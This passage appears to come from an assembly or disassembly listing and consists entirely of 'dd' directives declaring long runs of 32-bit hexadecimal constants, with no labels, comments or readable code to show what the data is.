0DB255B27h, 0F3BBE6Bh, 6F42892Bh dd 0A0A1801Fh, 9A3A529Ah, 3C8909D8h, 640407E0h, 0AA3383E3h dd 1DEB1804h, 0B8C8AFD8h, 11048C32h, 141CD204h, 587780CEh dd 0EC0A4C19h, 4080CA57h, 6E4E2F93h, 12831000h, 0D9F21C6Ch dd 0AA0C000Bh, 803C2A5Ah, 0C801A965h, 1F4BAD4h, 0B07581B8h dd 0E5E79C8h, 0C82BBCD5h, 0E2F7BD82h, 9471C459h, 56EEC518h dd 0BC8961EBh, 601504E8h, 98B3A178h, 4D3036A2h, 939D181Ch dd 1D4F5092h, 0A8D3802Ah, 87FA6518h, 0F3181519h, 3E61E100h dd 688BE924h, 0D499DE13h, 95BC9068h, 12F2128Ch, 0B1280679h dd 0E7015867h, 2EEB30DAh, 283D1FFCh, 0EA327802h, 0E980D6B3h dd 0E4627542h, 0E8637424h, 7C41A0Eh, 621B61E8h, 0BE144ED8h dd 4600D420h, 44AFEACEh, 2D9C94E5h, 9801BDDFh, 83E2118Eh dd 193E7699h, 0C68272Dh, 431EC090h, 68D1AD6Ah, 0D1F3A0Bh dd 37C9E8D8h, 409F8C24h, 0C8008CE9h, 0B4161E7Dh, 15D5AF31h dd 0B00A5686h, 0E1288D80h, 9B013540h, 322E9E53h, 0A078F2D3h dd 0A1D12604h, 2390CA21h, 4ED1317h, 0CEF70180h, 0F5B90A90h dd 0D2058DA7h, 28A7B181h, 23342B5Ah, 1D823ED1h, 0C2637BC6h dd 0DA1E8860h, 741240B0h, 0DC49A13Fh, 2488E502h, 617800BFh dd 29C84008h, 75076A09h dd 2A88C8FFh, 0D13A259Eh, 8186C80h, 0E2521E01h, 3195F2F4h dd 4A5CED93h, 0B8D4489Ch, 0E398C96h, 938B84EFh, 0A8B08C3Ch dd 3AAB16F0h, 0A23465DDh, 33FD004Ch, 5CD97958h, 0E40F002Ch dd 877EEC6Bh, 520BC1DAh, 8FF2CE74h, 983DAA50h, 0B7EBF304h dd 9CBCB8ACh, 88BC0E8Ch, 5C415368h, 0C857CD4Fh, 7C0A42FBh dd 0CC48B8AFh, 53C4008h, 8022941Ch, 954EF5CCh, 209E80B4h dd 5C382461h, 0D4243746h, 0B9E60BDDh, 0E2054CA5h, 17957514h dd 807491A8h, 34B12F25h, 32430275h, 0F76BB285h, 26BE0C68h dd 1773792Dh, 8096917Ch, 685FF01Bh, 0DA7C0211h, 37FF1271h dd 0D8E0144Ch, 0C0655D32h, 47BC549Ah, 8C79C202h, 0C46A1C54h dd 7595465Ch, 189819FEh, 42B41D59h, 3190E264h, 0ABC0604Eh dd 992E748h, 14942AADh, 4B2504B8h, 97C0C4C2h, 7A407F00h dd 914344D4h, 0F3C1BD04h, 0DCE3F868h, 57F9A900h, 31CD5A07h dd 40A01E5Ch, 0A52D1A10h, 5910BA4Eh, 18D359ECh, 150F689h dd 3E0CDAFCh, 4C9C2076h, 0F893E1B4h, 2D4FE370h, 0A4A0C161h dd 0E557C819h, 5583F417h, 6B479802h, 9ABF41CEh, 5BE87C3Ch dd 0E379018Ch, 62DFEED2h, 21C1DC06h, 0A5100113h, 4243A080h dd 2E44055Eh, 0CC08C5F6h, 58C3758h, 1CD10410h, 0E48E5Ch dd 8804182Bh, 631D5h, 91873337h, 51AAF10Fh, 0C3322BEAh dd 40D299CDh, 7C6DF464h, 0ACAA009Fh, 25496503h, 0D5F4EBDEh dd 0DC40604Ah, 86479C0Dh, 2C3000BDh, 0AF3E2879h, 414BC5FEh dd 9D235C20h, 3AEB00D7h, 2BE87545h, 74075C9Fh, 8CC150CDh dd 64A4FDD0h, 1CEC2414h, 4AF90334h, 0D3F21538h, 9A00CC7Ah dd 0F89E39BAh, 9CD1BD8h, 9C0A05Ch, 846A025h, 65690490h dd 602264A0h, 2D1D2972h, 0AC8010C1h, 7665D801h, 0EA1960C5h dd 3CACA084h, 248C0FBCh, 40B268h, 0CB77FC75h, 0EC0E42B6h dd 8357FB49h, 41D5035h, 0FE5299E8h, 47BC80A8h, 70010439h dd 651CAA6Ch, 403D9562h, 0C0C0F410h, 0EA2EA6D1h, 58B0B4D4h dd 0A607C982h, 6A53C166h, 1F19CF96h, 85A4F92Eh, 0D09D60E8h dd 0E5406630h, 0CA262D07h, 7DBEF4FAh, 5508E865h, 0F2100F5h dd 1FC5B928h, 0FE0001DFh, 0DAD646C4h, 28104725h, 54986709h dd 64380D8h, 686A73ECh, 48E279C1h, 0D1D652F8h, 0BF88E48Eh dd 6BAB8CC0h, 0C39C381Ah, 71391004h, 0E890B859h, 11048CD4h dd 0A0C5ED30h, 8D1F6CD0h, 14D5B3Eh, 9D64BB70h, 84412B07h dd 0B6B8C00Ch, 600E7870h, 64D19994h, 0DF2677FEh, 82803478h dd 39C4B4DBh, 0C1EB7933h, 60311CC8h, 0ED4C246Bh, 0CB046925h dd 0CC838594h, 74008468h, 7DB0C3D2h, 0EA35B40Bh, 7EDCC8A7h dd 0EB0113CBh, 0D88CC051h, 7A03FA1Dh, 26B6C165h, 7D89C90Dh dd 0F79AA084h, 0CE29804Dh, 0BE034037h, 6456176Dh, 90B0FCAEh dd 0C1A4384Eh, 9992A880h, 0E4D2FB0Fh, 81F48F01h, 0CE42DF9Ah dd 0E80C4086h, 3C04F9DEh, 0E5FCFBA8h, 0DB911E04h, 1DB9C080h dd 7B4544h, 2C579D52h, 0B361F90Eh, 388FBC14h, 0F80D09CCh dd 0C3900709h, 4E40C726h, 8858CB5Fh, 8C1BC0D1h, 0A20431E6h dd 3461D30Fh, 27A000D7h, 0C42C63h, 2224D64h, 295B4C0Ah dd 4770D41Dh, 3C3A4897h, 8F00BD23h, 0A7B54D6Bh, 0F457FFCAh dd 607F2CF2h, 7990C340h, 83795ECh, 12A29A0Ch, 0F0F9000Ah dd 6480F62Ah, 809D2106h, 0E1177F70h, 903D2741h, 0B59A1C60h dd 0F6CF5A0Eh, 0CC30049Fh, 13E3ECF0h, 919DFE65h, 3EF6448Ch dd 0ADE6F830h, 0E8009FCEh, 1B22EB38h, 0DD203453h, 7D8BF8D1h dd 2F915817h, 0B38CB481h, 0BC0EC0FBh, 3ABD217h, 507888h dd 13B8CA12h, 0B33C14A9h, 38A07802h, 0F1BA6461h, 18D37904h dd 0F0FC1303h, 0C39408F4h, 1E71D080h, 6753AA8h, 60039E2Bh dd 8601A93Bh, 4BFEC055h, 70C84D87h, 12F30023h, 9B3D6566h dd 0A28F51Eh, 25258CE6h, 9A4CA163h, 618771DEh, 0B0375E10h dd 0E04AB8CDh, 0C3980A00h, 395D613Fh, 59B7E6F4h, 30B9687Dh dd 70F85BB2h, 5AF5BC13h, 4A051080h, 99F73A3h, 7559100Dh dd 0DD9CC59h, 1907E818h, 922A21DBh, 0E98BCBD0h, 81170206h dd 6860532Eh, 6F98A02Eh, 0C17D5Ah, 22BA2439h, 483FC5D2h dd 0B5384701h, 84B11307h, 1FA6834h, 1C68EC18h, 3CE164E4h dd 8C9CB818h, 21031A00h, 9689DF9Eh, 0ED725A0h, 9BE290C0h dd 1CEC122h, 9DC4185h, 64926133h, 4A017784h, 0DF05485Ah dd 0C044DE15h, 5A88BCCEh, 0DBEEA7C0h, 79E80046h, 0A569F18Dh dd 9D3AC29Fh, 0C574934Fh, 9788248Eh, 302EEDC0h, 306052Dh dd 0E5C769C0h, 0D69420E8h, 0F2B7D4A8h, 0C9D5BC1Fh, 6B20E540h dd 0E755B37h, 76B09966h, 6AC84BE3h, 68820D5h, 21079E80h dd 467012Dh, 77983D91h, 60728C60h, 3EC1591Dh, 0E278731Bh dd 2C54470Eh, 0E80D20E7h, 9C4835E9h, 12F91200h, 0C8488BC4h dd 6FEAC095h, 4FE2423Ch, 0C07B5B26h, 0CD666904h, 1106858h dd 49279CB9h, 2E6A4A30h, 75A23D4h, 0F093E8BAh, 0FBBD705Dh dd 1606D9B8h, 8302F51Ch, 0D271F58h, 0C4E613B8h, 0AC98FD74h dd 27CC7814h, 8C177D4Bh, 0B8802C11h, 2A33106Bh, 60F7C00h dd 89ED78BEh, 6184A17Eh, 0D1E28073h, 0E0237930h, 172D2E14h dd 0D0692740h, 1D6479C3h, 0C18033F5h, 0D4F0C0E6h, 619F39DDh dd 72700CDAh, 4A029A31h, 99CA6D42h, 20DC78AEh, 4708AC8Ah dd 1F09843Dh, 693070AAh, 794AEA62h, 82034802h, 4B23429Ch dd 15C0D904h, 7E1C016Bh, 602E213Eh, 0E8FEF86Ch, 389E04BAh dd 0F465Eh, 2E4F9FD1h, 325275Dh, 68CC9EB2h, 0C94BCBC4h dd 21C8DCCBh, 0B911BDC0h, 903E015Ch, 0FCA88B02h, 4679811Ah dd 11AA4D25h, 5EF096C9h, 53AF00EFh, 0D8FBF1D2h, 2C90A86Bh dd 3275E93Ch, 0D67C5954h, 22465C48h, 0AEF8CC00h, 651C86CAh dd 0C0811228h, 0B009AF24h, 19D77A82h, 0A0AC80C0h, 98AAFF4Eh dd 5E5CBA44h, 33C6BE1h, 33E4BF02h, 4CCAC068h, 0B03417C2h dd 17DC4804h, 40C8ED6Bh, 526424F0h, 0B8146602h, 7AC1FBE7h dd 0D65601F0h, 49E8A4FAh, 355DE473h, 37B53000h, 3EFE47D1h dd 61680904h, 0E04089F6h, 6502D2D8h, 0E5704FB8h, 280E2938h dd 6876C9h, 9D9599F7h, 827491F8h, 0F0366937h, 0BD412008h dd 0EB2086FAh, 4ED82DC5h, 0FCDF3868h, 26C144A0h, 0B98D9E0Eh dd 0CF1CA522h, 9B820B9h, 812DA100h, 2E759B0Bh, 76C63E9Eh dd 1130E424h, 4D2A1D58h, 0D2841504h, 37EC58F8h, 2819058Ch dd 91C83A9Eh, 791F8ED8h, 0B5660F7Ch, 5397C0C7h, 481DE8A9h dd 0DE123CCDh, 9F3040B4h, 5DB6B28h, 0B1716A26h, 0B0A3C612h dd 0A47A0622h, 91541797h, 2799802Ch, 23FAEBAh, 35751FB2h dd 14735E73h, 1442BA58h, 70CD7EECh, 400DF040h, 0A64A0268h dd 0C233C2Fh, 36619800h, 2BE2B90h, 0A681534Fh, 647B44AFh dd 128CC370h, 30FED614h, 0A411562Ch, 2DCFE704h, 94BDC577h dd 0DF8FEB8h, 0E6A0530Eh, 81E802C7h, 3CE8805Dh, 30B801FFh dd 5410BFE5h, 9428032Dh, 0B6099819h, 50D1079Fh, 9EC0F0F4h dd 6768514h, 8E8CF099h, 3931DA01h, 0A2FECC15h, 21E87468h dd 5265098Ch, 2C094697h, 0F7048FBh, 0BA550056h, 0D740D082h dd 0AD1C488Fh, 86C91EE8h, 0B5483290h, 2D1F8098h, 0E68F222Fh dd 8C00184Fh, 9C8D067Eh, 0D184A3C7h, 3C324990h, 0A230BEF2h dd 50574985h, 0DF8904Ch, 54F038Ch, 45778E90h, 0FD523E98h dd 91F96808h, 545B02E9h dd 0F0F680EAh, 0E8843B14h, 17008C2Dh, 2B4C1AC4h, 9AA66EEh dd 0CAA01DD8h, 5C0C207Ah, 88DA77ABh, 4C46031Eh, 75E2622Ch dd 0D9497C98h, 0C3C0A416h, 9123583Ah, 0AA1EBF03h, 31F5E80Fh dd 249A904Bh, 243CD8B4h, 0A8A6083Ch, 83262701h, 546849C7h dd 28CBDB8h, 38D974ABh, 7B417845h, 0CD6FC442h, 0C5EA6109h dd 0BD94401Ch, 0D07CA890h, 4DAD1DB8h, 8CF54069h, 0BA78EEE0h dd 4A30C101h, 211001E6h, 11249878h, 78212B4h, 0B138FC0h dd 90DEB412h, 0AFDF00D6h, 4CB72895h, 4218273Ch, 41D1C0F0h dd 0A5A89039h, 60D3E428h, 92A9085h, 0CAAA9CD6h, 50F9A020h dd 0A82D626Ah, 548A978h, 7C817983h, 6B3F4991h, 319800F0h dd 0AF96C42Bh, 348B81Fh, 0D916A2AEh, 0D38A3CCFh, 0C3A68000h dd 60E72A8Eh, 394E2C98h, 3346D684h, 2ACC0700h, 9FDAFACAh dd 8781DF16h, 80D20C01h, 2F3F043Ch, 18B2328h, 7DC0A12Ch dd 2AF8416Bh, 0C246893h, 0A1BCC575h, 0C93C69C3h, 0D2E40045h dd 64CB864h, 6A95D803h, 0DF9C7068h, 11CF1878h, 63000305h dd 70F95BABh, 283DEC7Fh, 1798D01Ch, 0E00265D1h, 0B20EBF38h dd 61ECB538h, 95B78C54h, 65A2002Dh, 0DFE3B0FAh, 988B62A3h dd 85C83059h, 0C17F299h, 5CF234B2h, 7A9730h, 51A4C76Ah dd 94F548CAh, 1AB03C13h, 827A2091h, 0BD88304Eh, 0ED7909C0h dd 0DF580310h, 7174E1F0h, 0AC74BD9Ch, 300E0279h, 0BC35DF9Eh dd 89B80C03h, 9C70A5FFh, 9A70068Dh, 3983CAE8h, 0F2BB6500h dd 0EFAD136Bh, 3390021Eh, 1C39EC6Eh, 0C9D9CC8Ch, 0E189446Bh dd 2F3A3ACCh, 972330h, 12C0BE56h, 0DA1E8F53h, 6B5C4339h dd 0E8B28500h, 0C08EF265h, 0F9717E70h, 3E172D18h, 0A0C4BD2Ah dd 0D188C8CEh, 0D607BCC0h, 0A2F424D7h, 0E530083Ch, 9DF36906h dd 0D17891C8h, 126C18D4h, 0E2B1DBE1h, 0E67E05E8h, 48D72325h dd 731E066h, 59574219h, 0DC0B4981h, 6D40A0F0h, 77FBEA70h dd 66381269h, 0A27CE307h, 13F2302Dh, 20445800h, 8F06B569h dd 623494E5h, 10E09081h, 39281ECFh, 6112A8EBh, 8CA815F6h dd 0D984E129h, 700A18D0h, 0AC5EAE7h, 31910661h, 0D29C0128h dd 2E3DA07Fh, 715F600Bh, 19D271FCh, 28E73DCCh, 1E9B72F9h dd 59C4218h, 0F8C5B8F8h, 8C96E82Ch, 29A163Ch, 0B01C8A95h dd 94E4490Ah, 5BA29C73h, 862F033h, 9026009Fh, 206DBA95h dd 8559A001h, 4EE804B4h, 0C88086A1h, 9E1DA260h, 917E587Ch dd 91409D95h, 2FD6812Dh, 32F02854h, 0A08904AFh, 28CED10h dd 78990666h, 24F5B8Ch, 0EE118E54h, 1810FC68h, 0A1C08309h dd 0E7D8A164h, 3B3A2E75h, 18B2354h, 0DDC002CDh, 0A4818975h dd 5C5078h, 6CEADA8Eh, 0BA656A52h, 6F0AE0B2h, 0C4E2B434h dd 5ADE502h, 98B07050h, 275099B4h, 2BC0104Dh, 0DB22C54h dd 0E3CA95E0h, 91B8C0A9h, 6444704Fh, 236E733Eh, 3A700097h dd 60804E99h, 80BE7894h, 2B5A6604h, 0C2A3CAF2h, 0AA100631h dd 285FCC6Bh, 0C3004C7Ah, 60D70128h, 1D09F679h, 3DA20C80h dd 32820024h, 0D59422EAh, 83240102h, 216AE9D8h, 0A7997E64h dd 0CA300350h, 68D1018Ah, 0FEB08C85h, 0F23D302Dh, 976E5800h dd 0A6AAE7D0h, 32CA0155h, 64694405h, 0C2B4543Eh, 0D230F598h dd 0EA4F10A6h, 0CA81E0DCh, 3BD501A6h, 3EEBD4E7h, 3DC03599h dd 0EFDCB93Ch, 7F5104D9h, 0FC1B5243h, 0F4080C8h, 0F484A2FDh dd 5611004Eh, 0BA1C9E60h, 0DB58D550h, 0DE433988h, 5B4A7409h dd 0A8595860h, 462FD1Fh, 0AA991E82h, 51A4E0CAh, 1DF88C0h dd 6025DC92h, 7E9842E2h, 2C465E38h, 0CA6A047Ah, 82E76EC5h dd 0B208984h, 0FA60FCh, 0B682AF97h, 4765B869h, 0E26CD817h dd 0E80B4B05h, 73F28CE2h, 60FCC132h, 0B8008C7Dh, 9F54FF43h dd 0DF3CA08Fh, 0C5EA8971h, 0C69C60C4h, 0D0495DB9h, 0D70FFAB8h dd 6001816Fh, 694E6E0Ch, 9890A40Dh, 0A13A3BF4h, 0F05AC192h dd 505ADE30h, 2E23082Fh, 0EC0E2128h, 652FA4F9h, 80F8C642h dd 5F3FC980h, 9F27A187h, 0C5A432DEh, 60D0C45Ch, 2E6B9D21h dd 132C8C12h, 268E0D9h, 0A42FA64Bh, 0F501D523h, 0B435ECF4h dd 0AB54022Fh, 9C4DC3C0h, 0BEB0D7E0h, 73BE5ADh, 4B772EF4h dd 0D511D09Dh, 8CFCA880h, 0D84E143Ch, 3F2D6840h, 18F46424h dd 31D9EA8Fh, 0FCA86BDEh, 0E3009B31h, 0D8752139h, 7A6DAAFAh dd 3300B1Fh, 7C655482h, 0E16070E4h, 0C412F9C1h, 4C124FD7h dd 1862208Ah, 0FC51E4F8h, 11641769h, 2C895Bh, 4EAE94FAh dd 0DE6D01C4h, 0F29CD829h, 88423FD2h, 0CDC1Dh, 25C7FB4Bh dd 0B594DB01h, 52C41BA6h, 40411830h, 0CB42D75h, 0E8582611h dd 2D8CD5E8h, 748AEB44h, 0C467434h, 8FFD6800h, 0D7ED33E4h dd 4219DF01h, 0F1394578h, 0BCC0312Ah, 0A71D001Fh, 823E2D68h dd 7C545C89h, 0F13F0BDCh, 0D051A233h, 0FD189479h, 55BC4709h dd 8944C05Ah, 0F51C0B57h, 80E18B0Ah, 223C1081h, 0D2C300BDh dd 5A0A9028h, 4E2561F3h, 0A29CE029h, 40DB0D63h, 28C064F8h dd 8C91BCE4h, 6C1F8800h, 1512C6A2h, 34640913h, 8C58D474h dd 0AC53F14Fh, 0BEF280A2h, 9E27230h, 3F9DBC96h, 0D09C5058h dd 60E46DA5h, 0ADA8D87h, 280412F2h, 0FCF28835h, 8AC6D0F0h dd 59449067h, 43D09260h, 2DA8848h, 0DF9F8B15h, 807CFC41h dd 0C6A911Ch, 0CC9EFF98h, 18A8ABC4h, 8CEEF8h, 646A3910h dd 81464EE7h, 2863C9F1h, 5A3858E4h, 9C887CCFh, 0AED0A6C0h dd 0F13E00CAh, 28394AE7h, 17279D1Ch, 3D5C839Fh, 22EAEC2Ch dd 0D06920h, 91F0979Fh, 0FE318096h, 90786A87h, 0FBA4506Ch dd 0A0919557h, 0AFB85189h, 0CD39A5A0h, 9736C098h, 0D00AA59h dd 29BA1003h, 78A81E84h, 0C221FF9Eh, 23282F6Bh, 0E2370192h dd 0FCBB6FCCh, 2E3D0319h, 78528E3Fh, 90D1E07Bh, 0A89D1006h dd 4C656D0h, 0EC455A8Fh, 0BC3BEA72h, 7B005923h, 4DAD1609h dd 0FB9112CFh, 1DA0CB69h, 4F200210h, 0C8CD0C1h, 56039E01h dd 0F2DC3FCh, 0D2E8C325h, 8004728Bh, 2ED80224h, 44F4C215h dd 708C5789h, 8F70B4DEh, 0D127709Ch, 0E787F08Eh, 0A8756215h dd 9A35A016h, 60B64464h, 241CEDB0h, 43777900h, 0EA6887F0h dd 0F6FB01D8h, 0CFE5267Eh, 1A44F4F1h, 1C41053Ah, 1006875Bh dd 17A8CE5Dh, 0A14D0664h, 822C4744h, 790B78CBh, 0ADE582F8h dd 41099FD6h, 3E3E91ECh, 2EE23C8h, 74FBC926h, 41479CE1h dd 12BE7DB4h, 2488E3Eh, 0A29421B8h, 78B507B4h, 0B0824A50h dd 7C92173Ch, 9044E8A7h, 0B16E6760h, 5CD87B02h, 0F652AD1Eh dd 0DEB0168h, 2AA15F25h, 2D23443Ah, 0A9E8A303h, 8154C050h dd 0C88F4A98h, 0F62F768Ch, 54100909h, 0F5101700h, 19CC01A8h dd 0C2E80273h, 0E8B788h, 0FC99E555h, 960C06D0h, 0E0E2F0B7h dd 419740A2h, 79AC3D10h, 44D89A0Eh, 2648073h, 694871C0h dd 3A6D820Ch, 976811C9h, 986FE92Ah, 11802F3Bh, 2B90A880h dd 0A35A1DD9h, 0E67E7430h, 0B421B591h, 0AF5CB9E8h, 683788h dd 6B70148Eh, 3002DC94h, 3E618B64h, 6D449DDh, 2ABBD0E7h dd 60414827h, 308C0CBCh, 0CE188E54h, 670E7E2h, 42C26901h dd 677351AAh, 1980403Eh, 0AF66E96Fh, 3643400h, 0CE10C957h dd 94A7024h, 4C7467B9h, 2D481700h, 0D61271F9h, 1CB460D9h dd 6C6B0112h, 520AF07Eh, 0C5EFC094h, 0E3C25901h, 0B5D32257h dd 78704AC1h, 199640F6h, 0ABF1D900h, 29E41260h, 628F1CC3h dd 29F06892h, 4ACCFC9h dd 9495D8A0h, 15C00238h, 1004C937h, 0DA4E7621h, 0CF13D456h dd 9C2CA4E1h, 2434C104h, 0DAA8A4E8h, 2D4FA940h, 6CC0983Dh dd 53209D1Fh, 20909893h, 0D14ED414h, 885B6CF2h, 0FC0F0F18h dd 40E62FCCh, 8405BEB4h, 51620074h, 0BBB18930h, 9CAA40DCh dd 5F4BC07Ah, 0F4C0BC9Ah, 34F175A3h, 0D76CA101h, 8F781C9Ch dd 6C24DF61h, 0A17761C1h, 0FA695576h, 2E90F6C3h, 7F0AE35h dd 0CAFBE307h, 0EC94EAA7h, 0BF838B0h, 5FBAF79Dh, 7CDE34A9h dd 129702D6h, 744F2A01h, 911266E3h, 94A818E9h, 0ACCF3481h dd 0B35CF408h, 0D7FC9B18h, 50CDE1h, 0A6C510A8h, 0A427F4C2h dd 6BC1F4FDh, 0AC386F00h, 49F33ACDh, 2D3C99DFh, 92911417h dd 42831080h, 7504D0FBh, 593934A8h, 23A42FEFh, 30440133h dd 0D452AEBBh, 3022E34h, 71DE61CBh, 3D086584h, 8876AAh dd 63C9CBE4h, 0F10AA7FBh, 80F87D3Fh, 6447F294h, 1622516Ch dd 0D34F1A27h, 0DFE0F80Ch, 374A11A8h, 0B7E010F6h, 0E402EDD6h dd 3ACA6AB4h, 0B3B041D2h, 0BFB5B0C0h, 400330B7h, 0CD1BE578h dd 0C041C13h, 74804336h, 456FDD8h, 0ED4E6054h, 0F32C8920h dd 0D86C15C5h, 0F204A292h, 88D1300Ch, 4CC83E03h, 0AC49095Bh dd 378C20BAh, 66006E74h, 0B7DF902Ah, 1EB0181h, 6F1A7842h dd 30CA3718h, 6AE46538h, 68AF7927h, 0EA3AA170h, 320500BCh dd 0CC9FAACBh, 2609AFC2h, 0D6141CDBh, 0E2F709A0h, 95914017h dd 5EB9F980h, 355EF660h, 0A07ED001h, 587C9251h, 48CD0ECh dd 0CBC4CF86h, 0E9E4811Ah, 0E8182D2Eh, 0D0D90025h, 14840105h dd 2726C5A1h, 0E5697CD2h, 61BEE4CCh, 0FCDCD574h, 4049DE1Bh dd 0C7588D4Dh, 7C0095BAh, 88EBF78Ch, 92650494h, 3841C950h dd 6570987Bh, 0FC48002Ah, 6021C0EFh, 9E2E193Eh, 1868C4C7h dd 9DE87707h, 2CA0C3B5h, 0F1962D03h, 60306Ah, 9980D844h dd 72EC16C6h, 891030E8h, 0D42B03Ch, 0DD15E309h, 0A072A08Bh dd 89845C01h, 2AD98669h, 0E8D8823Fh, 3ED88209h, 0B3ACEABDh dd 7B82F8F4h, 18101643h, 188774Eh, 295C19C0h, 64B510E4h dd 9FDE9440h, 6BB8EC21h, 730A8067h, 8679C483h, 0DCEA7Ch dd 0D71FBC1Bh, 4F9C5848h, 8E0B1891h, 4B985A10h, 40305DDEh dd 8267C24Dh, 2200B0F3h, 198E03F7h, 4F6AD834h, 2E0C409Ah dd 22A1DD30h, 69EBDE00h, 5868CC8h, 12709387h, 250309Ah dd 896285D8h, 90C2A018h, 0AD2F8F8h, 39491682h, 2CFC2184h dd 0EC3822E8h, 4534B03Fh, 18807358h, 0BBC9E1C3h, 0ECB1073Ch dd 45AB2E7h, 3A5CA231h, 68C60077h, 0AAE4943Eh, 397F3861h dd 918B8F3h, 5EA4033Bh, 2D600DCh, 889A030h, 2C7CA1A7h dd 6834FC12h, 74B8B4ADh, 1B0EDE04h, 5CB86ADDh, 236C2FD7h dd 0DF2100BEh, 0D39DBC82h, 0E812A8B6h, 45987C19h, 2CECB710h dd 58E4F979h, 0DC94BCh, 0E0954615h, 0BFC26D02h, 1497D209h dd 460D48Ch, 0E2EB9D83h, 0C4B24B24h, 0E33020F2h, 0C82F4ECAh dd 0CB136848h, 0AB7A77h, 0CD138C9Fh, 417DB55Ah, 25877201h dd 0FDB32E5h, 0DA94126Fh, 0DA21C0D8h, 913A54h, 4536E114h dd 1BAAD805h, 0A4B24F4Eh, 89F9C008h, 0E8D83Ch, 0A0CEC5FCh dd 0B75AF5D8h, 9CFB8092h, 3B39D70h, 5AAA3D0h, 701087FAh dd 9F7268BDh, 0BBCA6893h, 1FDC645Eh, 5E9C20Eh, 0B4A88F24h dd 6B000D60h, 76F1BA82h, 0CE5E06h, 74536C2Dh, 12C37A0Fh dd 106FBD17h, 72844A0h, 295279F9h, 0EA4D8388h, 0A21FBC1Ah dd 0C0905DF9h, 0D33D5CF9h, 612500ACh, 0C2CFC420h, 0C176049Eh dd 0B87E84FEh, 424383ECh, 0F738886Eh, 8D1B241Dh, 0F5163F5Ch dd 2030C7BEh, 0D1AB6A4Bh, 38C87F5Bh, 49414AD8h, 145267DCh dd 0C4FAC100h, 0F632530h, 52C900F9h, 4D366776h, 9E6B6DCAh dd 584F231h, 82D669EFh, 0DBE813FDh, 62858060h, 0B95C9C2h dd 116D43BEh, 0E4ADF105h, 919DA8FCh, 0A992AF9Ch, 0B020A67Ch dd 9AB85h, 62BB9566h, 0F51E6F05h, 689BE630h, 0A8F81DE9h dd 2DAB69C8h, 58E4F9D0h, 0C48A490Fh, 1C2078FCh, 612225EAh dd 6BA7E820h, 920B5C15h, 7AA6340Dh, 0E03C444Ch, 0D9271300h dd 3D444AF9h, 0AEC32730h, 9BB3E022h, 9B8020Eh, 0DE760173h dd 40452BC5h, 2CBCE8C2h, 8C2EECh, 978508D8h, 811DE7A5h dd 551C7E09h, 0D38C18Ah, 0EC4888CEh, 33F1B021h, 0E9001B18h dd 9D23D9BCh, 9FCDDE3Ch, 6FE204C9h, 2F23D03Eh, 0E02B1E0Eh dd 0F22819C9h, 570F04C4h, 0BCE54EA2h, 0A57F211Ch, 605188D3h dd 95F11830h, 0E87EFC92h, 4DB80C83h, 1CECE56Ch, 38CD2E8h dd 17DC889h, 61008DC0h, 0EAB42EABh, 6B9B4270h, 14F1E99Ah dd 0B1182C79h, 9411300h, 68181E78h, 0C018B7C5h, 129F88BAh dd 129CF8C8h, 8B9D9CF0h, 0C090C8D8h, 0B50BC31h, 6A69AB1Ch dd 4F2848A5h, 1DE820C5h, 84A4802Fh, 7E422004h, 1CF87906h dd 0E12FE8E0h, 60E83A8Ch, 5F99244h, 0EC452BACh, 4A20FC6Bh dd 90F200F2h, 1B2DA30h, 0ABFB57FEh, 0C169371Eh, 82AC5164h dd 0ECCBF6DEh, 8D1CCAE8h, 3FFC6F59h, 0C10B2F26h, 0E29C84h dd 8F32B870h, 0ECE6EA2Ah, 48EC495Ch, 37522DADh, 0E84700F0h dd 0BE350DAh, 2D8A9200h, 0D4F36ABAh, 90C1058Fh, 0F8040DEAh dd 0C7CC2590h, 60D4E464h, 0E2424994h, 9E230571h, 0AA5B6AC2h dd 182A028h, 2D98130Fh, 60B8FA8Dh, 61008C66h, 946EC787h dd 38B69652h, 3581D918h, 9E5E86AAh, 0BC8C7C05h, 48308C97h dd 601DAE79h, 58929Ch, 35C9422Ah, 0F88E86EDh, 13E77509h dd 5BE8F091h, 3A1885DDh, 9123F0h, 3FFC813Bh, 7B268E16h dd 0F4718C0h, 0A14FF640h, 0C1A02D01h, 6F4B80E1h, 0ACBCB416h dd 8CD0BCh, 5F7A52BEh, 0A3D19FBAh, 0E4CB634Ah, 0A2C0EEC8h dd 1FB0FC6h, 1AEBDBBh, 8176B5B8h, 263154A0h, 0C8CD331Fh dd 89DC823Bh, 0B6CB220h, 0D54A2D8Fh, 1C00B853h, 0EC9D54EDh dd 0B252549h, 22E4C0E5h, 87519F60h, 86A15305h, 0CB456F5h dd 0D7EC2035h, 0AFD89895h, 0F499C08Dh, 3365D12h, 0B87C0D00h dd 0CF8E408Fh, 9A9A5A4Ch, 0CE7088E0h, 5E58FF40h, 782D1082h dd 5804DB7Ch, 50041125h, 0BA43492h, 9649FC88h, 59465C28h dd 0C65E022Fh, 76DE251Fh, 9421C0D3h, 0A9D038DFh, 80FB07CEh dd 24346C4Bh, 0D2C0E8E7h, 0BFB29CE2h, 0A7F030h, 46EAFAE8h dd 0FC32C28Fh, 676AD806h, 95287A3Bh, 74E48045h, 5E423B60h dd 66DC6A0Eh, 0FFF284C0h, 95BC24ACh, 0E26008Ch, 4B054391h dd 0E62F6045h, 31ACC171h, 3B3BE9F1h, 12223ACh, 9C7A1864h dd 64823AECh, 3BE9008Ch, 0D27D22D9h, 0AFA9FA0Bh, 79EC5144h dd 9571822h, 6B48E468h, 10B47078h, 676905DCh, 40CFC032h dd 0B70C64B0h, 4301B960h, 35EC94F1h, 543A0674h, 0BEE804C0h dd 0BC4C018Ch, 3B8A9C69h, 30844191h, 0E0DA2AE2h, 0C089ABC4h dd 0F15614D3h, 0B0CDF005h, 54E83E44h, 8EC29917h, 0C1D2C8DCh dd 34EF2BB9h, 1C18C360h, 0D3F8E0DCh, 0AB29C0E3h, 7A8C5B0Bh dd 6B394417h, 0DF2F8E2h, 507830h, 3F393691h, 306299BCh dd 0E9FF6930h, 0B8904D7Fh, 527D4A98h, 0AC74BD4Ch, 3F8900D5h dd 0B34907CFh, 5C003DE5h, 71C08FADh, 580C2D5Eh, 1E9006Ch dd 0E79C5894h, 21641CF8h, 7E8ADD1Ch, 967AE881h, 2080FEC5h dd 0B43A9AEh, 6100B319h, 2693F157h, 0FA8DC7DDh, 48ED0387h dd 435829A7h, 4C443003h, 0ABB5EEh, 1C2D8E11h, 0BDD8263Fh dd 883AA977h, 21BA30BCh dd 0A01C0668h, 71232FDh, 4A77226Ch, 0B7756082h, 4E00AA4Bh dd 0A9B98A2Eh, 0E8F2255Eh, 34A7C59h, 7D9DC322h, 0A82E5CB4h dd 0EC0F9E43h, 8BE1A021h, 0C6E9D94Fh, 209DB408h, 0EC3A9905h dd 